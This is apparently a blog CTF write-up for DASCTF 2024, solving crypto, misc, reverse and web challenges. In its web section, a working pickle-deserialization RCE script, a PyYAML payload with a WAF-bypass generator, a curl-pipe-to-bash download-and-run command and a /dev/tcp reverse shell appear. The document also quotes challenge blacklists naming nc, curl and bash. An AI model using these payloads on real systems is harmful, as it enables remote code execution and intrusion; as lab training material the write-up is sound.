DASCTF 2024最后一战 wp

DASCTF2024 最后一战 wp

CRYPTO

数论的香氛

  • 题目:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from sympy import isprime
from sympy.ntheory import legendre_symbol
import random
from Crypto.Util.number import bytes_to_long

k=79 #<-- i couldn't stress more

def get_p():
global k
while True:
r=random.randint(2**69,2**70)
p=2**k*r+1
if isprime(p):
return p
else:
continue

def get_q():
while True:
r=random.randint(2**147,2**148)
q=4*r+3
if isprime(q):
return q
else:
continue


def get_y():
global n,p,q
while True:
y=random.randint(0,n-1)
if legendre_symbol(y,p)==1:
continue
elif legendre_symbol(y,q)==1:
continue
else:
return y


flag=b'DASCTF{redacted:)}'
flag_pieces=[flag[0:10],flag[11:21],flag[22:32],flag[33:43],flag[44:]]
#assert int(bytes_to_long((flag_pieces[i] for i in range(5)))).bit_length()==k

p=get_p()
q=get_q()
n=p*q
print(f'{n=}')

y=get_y()
print(f'{y=}')


def encode(m):
global y,n,k
x = random.randint(1, n - 1)
c=(pow(y,m,n)*pow(x,pow(2,k),n))%n
return c

cs=[]
for i in range(len(flag_pieces)):
ci=encode(bytes_to_long(flag_pieces[i]))
cs.append(ci)

print(f'{cs=}')

'''
n=542799179636839492268900255776759322356188435185061417388485378278779491236741777034539347
y=304439269593920283890993394966761083993573819485737741439790516965458877720153847056020690
cs=[302425991290493703631236053387822220993687940015503176763298104925896002167283079926671604, 439984254328026142169547867847928383533091717170996198781543139431283836994276036750935235, 373508223748617252014658136131733110314734961216630099592116517373981480752966721942060039, 246328010831179104162852852153964748882971698116964204135222670606477985487691371234998588, 351248523787623958259846173184063420603640595997008994436503031978051069643436052471484545]
'''

首先注意到n很短,使用sage可以在大概十几分钟分解n(实际上factordb.com可以直接分解n,比赛时候忘记用了)

y设置为J(y/p) = J(y/q) = -1,很容易想到Goldwasser-Micali公钥加密系统,但Goldwasser-Micali 算法一次只能加密1bit,而题目中加密长度达到了k bits,且在计算c时多乘了pow(x,pow(2,k),n)。这实际上是为减少带宽的浪费而实现的更高效的GM算法。于是我们可以找到论文Efficient Cryptosystems From 2^k-th Power Residue Symbols,利用论文给出的方法我们便可以编写解密脚本

  • exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from sympy import mod_inverse
from Crypto.Util.number import *

def decrypt(c, p, k, D):
m = 0
B = 1
C = pow(c, (p - 1) // (2**k), p)

for j in range(1, k):
z = pow(C, 2**(k-j), p)
if z != 1:
m += B
C = (C * D) % p
B <<= 1 # B = 2 * B
D = (D * D) % p

if C != 1:
m += B

return m

q = 863327174253852394776516978368858092781662547
p = 628729403897154553626034231171921094272614401
n = 542799179636839492268900255776759322356188435185061417388485378278779491236741777034539347
y = 304439269593920283890993394966761083993573819485737741439790516965458877720153847056020690
k = 79

k = 79
D = pow(y, -(p - 1) // 2**k, p)
print(D)
cs = [
302425991290493703631236053387822220993687940015503176763298104925896002167283079926671604,
439984254328026142169547867847928383533091717170996198781543139431283836994276036750935235,
373508223748617252014658136131733110314734961216630099592116517373981480752966721942060039,
246328010831179104162852852153964748882971698116964204135222670606477985487691371234998588,
351248523787623958259846173184063420603640595997008994436503031978051069643436052471484545
]

decrypted_messages = [decrypt(ci, p, k, D) for ci in cs]

for i, m in enumerate(decrypted_messages):
print(f"Decrypted message {i}: {m}")
print(long_to_bytes(m))
1
DASCTF{go0_j06!let1sm0v31n_t0_th3r_chanlenges~>_<}

img

MISC

弹道偏下

打开流量包,发现是SMB2流量加密

按照以下格式构造hash

1
username::domain::NTLMServerChallenge:NTProofStr:NTLMv2Response

img

img

1
share::MicrosoftAccount:0a08d9f15eb53eea:a20aec951c89961f2e81bf0917d8990a:0101000000000000cfebd19d3636db01022ada3cfbb5b30e0000000002001e004400450053004b0054004f0050002d004800440039004b0051004e00540001001e004400450053004b0054004f0050002d004800440039004b0051004e00540004001e004400450053004b0054004f0050002d004800440039004b0051004e00540003001e004400450053004b0054004f0050002d004800440039004b0051004e00540007000800cfebd19d3636db01060004000200000008003000300000000000000001000000002000004c3c615542417f8e002c772c6064cc84d886fec17c1ed7cceea68daf7f6954fc0a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100340039002e003100350035000000000000000000

hashcat爆破

1
hashcat -a 0 -m 5600  v2.txt ./rockyou.txt  --force

img

解密流量包,导出doc文件

img

winhex打开明显是逆序,拿工具改一下

(比赛时候只做到这里~~ಠ_ಠ)

新建一个doc文件,对比发现少了一大段文件头,把文件头复制过去img

img

打开doc发现需要密码,放passware跑

img

得到密码36521478(和刚才的SMB2密码一样)打开文件flag就在第一行

img

1
flag{u_are_a_g00d_OLE_Repairer}

REVERSE

tryre

换表base64加密

逐字节异或2

脚本如下:

1
2
3
4
5
6
7
8
9
import base64
import string
encode = "M@ASL3MF`uL3ICT2IhUgKSD2IeDsICH7Hd26HhQgKSQhNCX7TVL3UFMeHi2?"
str1 = ""
for i in range(len(encode)):
str1 = str1 + chr(ord(encode[i]) ^ 2)
string1 = "ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
print (str(base64.b64decode(str1.translate(str.maketrans(string1,string2)))))

得到

1
flag:DASCTF{454646fa-2462-4392-82ea-5f809ad5ddc2}

PWN

  • NULL

Web

const_python

  • 题目提示了源码放在了src目录,访问得到部分源码,注意,有一部分被注释到了看不见,右键查看源码或者在Response中可以看到被隐藏的部分,我们把两份代码拼到一起。得到源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
import builtins
import io
import sys
import uuid
from flask import Flask, request, jsonify, session
import pickle
import base64

# 创建 Flask 应用实例
app = Flask(__name__)

# 设置一个随机的密钥,用于保护会话
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "")

# 定义一个用户类
class User:
def __init__(self, username, password, auth='ctfer'):
self.username = username
self.password = password
self.auth = auth

# 生成一个随机密码,并创建一个管理员用户实例
password = str(uuid.uuid4()).replace("-", "")
Admin = User('admin', password, "admin")

# 定义根路由,访问网站根目录时返回欢迎信息
@app.route('/')
def index():
return "Welcome to my application"

# 定义登录路由,处理 GET 和 POST 请求
@app.route('/login', methods=['GET', 'POST'])
def post_login():
if request.method == 'POST':
# 从表单中获取用户名和密码
username = request.form['username']
password = request.form['password']

# 检查用户名是否为 'admin' 并验证密码
if username == 'admin':
if password == Admin.password:
session['username'] = "admin"
return "Welcome Admin"
else:
return "Invalid Credentials"
else:
# 如果不是管理员登录,将用户名存入会话
session['username'] = username
return '''
<form method="post">
Username: <input type="text" name="username"><br>
Password: <input type="password" name="password"><br>
<input type="submit" value="Login">
</form>
'''

@app.route('/ppicklee', methods=['POST'])
def ppicklee():
data = request.form['data']

sys.modules['os'] = "not allowed"
sys.modules['sys'] = "not allowed"
try:

pickle_data = base64.b64decode(data)
for i in {"os", "system", "eval", 'setstate', "globals", 'exec', '__builtins__', 'template', 'render', '\\',
'compile', 'requests', 'exit', 'pickle',"class","mro","flask","sys","base","init","config","session"}:
if i.encode() in pickle_data:
return i+" waf !!!!!!!"

pickle.loads(pickle_data)
return "success pickle"
except Exception as e:
return "fail pickle"


@app.route('/admin', methods=['POST'])
def admin():
username = session['username']
if username != "admin":
return jsonify({"message": 'You are not admin!'})
return "Welcome Admin"


@app.route('/src')
def src():
return open("app.py", "r",encoding="utf-8").read()

if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=5000)




# 运行 Flask 应用
if __name__ == '__main__':
app.run(debug=True)
  • 参考了群里芝麻汤圆师傅的wp

  • 思路:在/ppicklee目录触发pickle反序列化实现命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import pickle
import subprocess
import base64
import requests
import re

# 执行后访问 /src 目录
class EvilObject:
def __reduce__(self):
# 使用 subprocess.run 执行 "dir" 命令
return (subprocess.run, (["bash","-c","cat ../../../flag > app.py" ],),{"shell": True})

# 创建恶意对象
evil_object = EvilObject()

# 序列化恶意对象
pickled_data = pickle.dumps(evil_object)

# base64 编码序列化对象
pickled_data_base64 = base64.b64encode(pickled_data).decode('utf-8')

# 输出序列化后的 Base64 编码
print("Base64 Encoded Pickled Data:")
print(pickled_data_base64)

url = 'http://5db5a5dd-060d-4d20-a6f4-105ede2fc012.node5.buuoj.cn:81/ppicklee'
# 要发送的POST数据,通常是字典格式
data = {'data': pickled_data_base64}

# 发送POST请求
response = requests.post(url, data=data)

# 打印响应的状态码和内容
print('Status Code:', response.status_code)
print('Response Text:', response.text)

# 访问新的地址
new_url = 'http://5db5a5dd-060d-4d20-a6f4-105ede2fc012.node5.buuoj.cn:81/src'
new_response = requests.get(new_url)

# 打印新的地址的响应状态码和内容
print('New Status Code:', new_response.status_code)
print('New Response Text:')
print(new_response.text)
# 匹配并打印出响应中的 DASCTF{******} 这一段字符
match = re.search(r'DASCTF{.*}', new_response.text)
if match:
print('Flag:', match.group(0))
else:
print('No flag found in the response.')
  • 这个EXP直接运行即可,会匹配Response中的flag并且打印输出
(["bash","-c","cat ../../../etc/passwd > app.py" ],),{"shell": True}
1
subprocess.run, (["bash","-c","cat ../../../flag > app.py" ],),{"shell": True}

这里注意这个命令,与2024 CCB Safe_proxy那道题做法类似,如果直接执行cat ../../../flag > app.py ,命令的效果是用flag文件内容把app.py文件覆盖掉,直接破坏原来的文件,学到的一个新方法是"-c",这样是把flag文件内容附加到app.py文件下方

yaml

  • 题目给出源码如下,我们加上注释
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
# 导入所需的模块
import os
import re
import yaml
from flask import Flask, request, jsonify, render_template

# 创建 Flask 应用实例,指定模板文件夹为 'templates'
app = Flask(__name__, template_folder='templates')

# 设置上传文件夹的路径为 'uploads'
UPLOAD_FOLDER = 'uploads'
# 如果上传文件夹不存在,则创建它
os.makedirs(UPLOAD_FOLDER, exist_ok=True)

# 定义 Web 应用防火墙(WAF)函数,用于过滤输入
def waf(input_str):
# 定义黑名单词汇集合
blacklist_terms = {
'apply', 'subprocess', 'os', 'map', 'system', 'popen', 'eval', 'sleep', 'setstate',
'command', 'static', 'templates', 'session', '&', 'globals', 'builtins',
'run', 'ntimeit', 'bash', 'zsh', 'sh', 'curl', 'nc', 'env', 'before_request', 'after_request',
'error_handler', 'add_url_rule', 'teardown_request', 'teardown_appcontext', '\\u', '\\x', '+', 'base64', 'join'
}
# 将输入转换为小写字符串
input_str_lower = str(input_str).lower()
# 遍历黑名单词汇,检查是否在输入中
for term in blacklist_terms:
if term in input_str_lower:
print(f"Found blacklisted term: {term}")
return True
return False

# 定义正则表达式,用于匹配 YAML 文件
file_pattern = re.compile(r'.*\.yaml$')

# 定义函数,用于检查文件名是否为 YAML 文件
def is_yaml_file(filename):
return bool(file_pattern.match(filename))

# 定义根路由,返回欢迎信息和链接
@app.route('/')
def index():
return '''
Welcome to DASCTF X 0psu3
<br>
Here is the challenge <a href="/upload">Upload file</a>
<br>
Enjoy it <a href="/Yam1">Yam1</a>
'''

# 定义文件上传路由,处理 GET 和 POST 请求
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
# 如果是 POST 请求
if request.method == 'POST':
try:
# 获取上传的文件
uploaded_file = request.files['file']
# 如果文件存在且是 YAML 文件
if uploaded_file and is_yaml_file(uploaded_file.filename):
# 构建文件保存路径
file_path = os.path.join(UPLOAD_FOLDER, uploaded_file.filename)
# 保存文件
uploaded_file.save(file_path)
# 返回成功消息
return jsonify({"message": "uploaded successfully"}), 200
else:
# 如果不是 YAML 文件,返回错误消息
return jsonify({"error": "Just YAML file"}), 400
except Exception as e:
# 如果发生异常,返回错误消息
return jsonify({"error": str(e)}), 500
# 如果是 GET 请求,渲染上传页面
return render_template('upload.html')

# 定义读取 YAML 文件内容的路由
@app.route('/Yam1', methods=['GET', 'POST'])
def Yam1():
# 从请求参数中获取文件名
filename = request.args.get('filename', '')
# 如果文件名存在
if filename:
# 打开文件并读取内容
with open(f'uploads/{filename}.yaml', 'rb') as f:
file_content = f.read()
# 如果内容不包含黑名单词汇
if not waf(file_content):
# 加载 YAML 内容
test = yaml.load(file_content)
# 打印内容
print(test)
# 返回欢迎信息
return 'welcome'

# 如果直接运行这个脚本,启动 Flask 应用
if __name__ == '__main__':
app.run()
  • 看完代码,基本思路出来了,上传一个XXXX.yaml文件,利用yaml文件里写入命令执行内容,再通过GET访问Yam1路由,传参数filename=XXXX (注意,这里不要带后缀yaml) 让靶机打开文件并读取加载,触发RCE的反弹shell

  • 参考gxngxngxn师傅博客,之后翻到了真主大佬Tr0y师傅的Python沙盒Bypass博客,学习了一波,是真的膜拜

  • EXP生成脚本如下

此处也是和gxngxngxn师傅的博客学到了一个新的反弹shell命令

1
curl http://ip/shell.txt|bash

这个命令的意思是curl下载VPShttp://ip/上写着反弹shell命令的txt文件,并且bash执行

  • txt文件内容如下
1
bash -i >& /dev/tcp/ip/port 0>&1

image-20241223193126428

  • VPSnc

    1
    nc -lvnp 2333

    之后就可以反弹shell

1
2
3
exp = '__import__("os").system("curl http://shell.txt|bash")'

print(f"exec(bytes([[j][0]for(i)in[range({len(exp)})][0]for(j)in[range(256)][0]if["+"]]or[".join([f"i]in[[{i}]]and[j]in[[{ord(j)}" for i, j in enumerate(exp)]) + "]]]))")

参考 https://xz.aliyun.com/t/13281?time__1311=GqmxuD0DnD9D2iDlh%2Bt0%3DKcDWqYvj%2BRIbpD#toc-6

test.yaml文件内容

1
2
3
4
5
6
!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"extend": !!python/name:exec }
listitems: "上面的脚本输出的结果"
  • 上传test.yaml文件

image-20241223010012886

  • VPS反弹shell

  • 访问http://ip:port/Yam1?filename=文件名,触发反弹shell,vps上连上靶机

  • cat ../../../flag

image-20241223005407275

Checkin

签到题

  • robots.txt


DASCTF 2024最后一战 wp
https://xu17.top/2024/12/23/2024DASCTF/
作者
XU17
发布于
2024年12月23日
许可协议
XU17